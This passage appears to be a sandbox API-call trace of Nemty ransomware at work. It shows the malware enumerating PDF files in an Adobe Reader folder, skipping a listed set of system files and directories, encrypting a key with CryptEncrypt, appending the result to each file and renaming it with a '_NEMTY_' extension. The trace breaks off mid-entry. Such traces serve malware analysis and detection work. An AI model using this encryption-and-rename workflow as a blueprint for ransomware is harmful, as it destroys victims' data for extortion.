[0188.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.614] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0188.614] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0188.615] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.615] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0188.615] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0188.615] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0188.615] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0188.615] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.615] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0188.615] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned -1 [0188.615] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0188.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.615] Sleep (dwMilliseconds=0x5) [0188.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x241255d0, dwHighDateTime=0x1d561e8)) [0188.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x241255d0, dwHighDateTime=0x1d561e8)) [0188.617] GetLastError () returned 0x0 [0188.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.618] GetLastError () returned 0x0 [0188.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.618] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.618] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.618] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.618] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="yAZNW4RyVFcbvukVevUOo6JN3ivzx6aWp9Rhc90RPBopoHHCffcjdUTFIBW1ADRa\r\nxeUbbNbvo1qvHpJyK9fAXxw0EYUlNX1k62s6vq9dxJQr60H983iv/1NdoVkxCMt7\r\nXVBXr8g6PNGvcckQ4PG5a5eIgISQ3/ZGJAp3IUuPSddykHck34SOmB62GmWiMf2y\r\n0MoqnhLq8/GRUFSlzmlGEASLEn0y5MjL+6z+tchKJhKYuwYq/bTQt5OZJ66xAnOL\r\nzDSCu4XniQAMpjvK5XuUk4ovimNsgIhcSXkhOCOx61BbhM+EUEhS1cCSB9BpjIGT\r\nxSWXlfCARgF2AfjiIlZ0vg==\r\n", pcchString=0x653df5c) returned 1 [0188.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.618] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.619] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=33013) returned 1 [0188.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80f0) returned 0x6352c48 [0188.619] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.619] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x80f0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x80f0, lpOverlapped=0x0) returned 1 [0188.624] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.624] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x80f0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x80f0, lpOverlapped=0x0) returned 1 [0188.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.625] SetFilePointer (in: hFile=0x320, lDistanceToMove=33013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80f5 [0188.625] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.625] CloseHandle (hObject=0x320) returned 1 [0188.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.625] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf._nemty_kgobjgd_")) returned 1 [0188.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.626] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0188.626] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0188.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.627] Sleep (dwMilliseconds=0x5) [0188.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2414b730, dwHighDateTime=0x1d561e8)) [0188.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2414b730, dwHighDateTime=0x1d561e8)) [0188.633] GetLastError () returned 0x0 [0188.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.633] GetLastError () returned 0x0 [0188.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.633] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.633] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.633] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.634] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="AGeHZCJuuIWZ7yJi04iDqcpqkIho2SQdFuTcxxdOJFypW+PwxIrqbOMoRrQgcyYt\r\nkNTrX60z0Rq90q6tMGV6GRWPnIMwLt8H+a/CyJ2yOY6cebkv19noWs9TcfJv/wtf\r\n9pwlTL2yQetzyO5GZgioFsU+Z48BkFUoT9IuPyOZ6SCMIw2mfFYaxXs9cI/v/DvZ\r\nI3+RL+bEpzlc71ja6KdmkkHd5X6+TMRfceaQtanemIacfdL+xVgVHKDAVo1HKNyS\r\n82LeDGihy3NZKdMbw52rk8fF0J8Sc1aD4gcigCy5AI1Mig8FH935opqxkrIASRpu\r\nJrSIUO6BUNsLf73pmcPZRw==\r\n", pcchString=0x653df5c) returned 1 [0188.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.634] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.634] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=46897) returned 1 [0188.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb730) returned 0x6352c48 [0188.634] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.634] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb730, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb730, lpOverlapped=0x0) returned 1 [0188.639] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.639] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb730, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb730, lpOverlapped=0x0) returned 1 [0188.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.639] SetFilePointer (in: hFile=0x320, lDistanceToMove=46897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb731 [0188.639] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.639] CloseHandle (hObject=0x320) returned 1 [0188.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.640] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 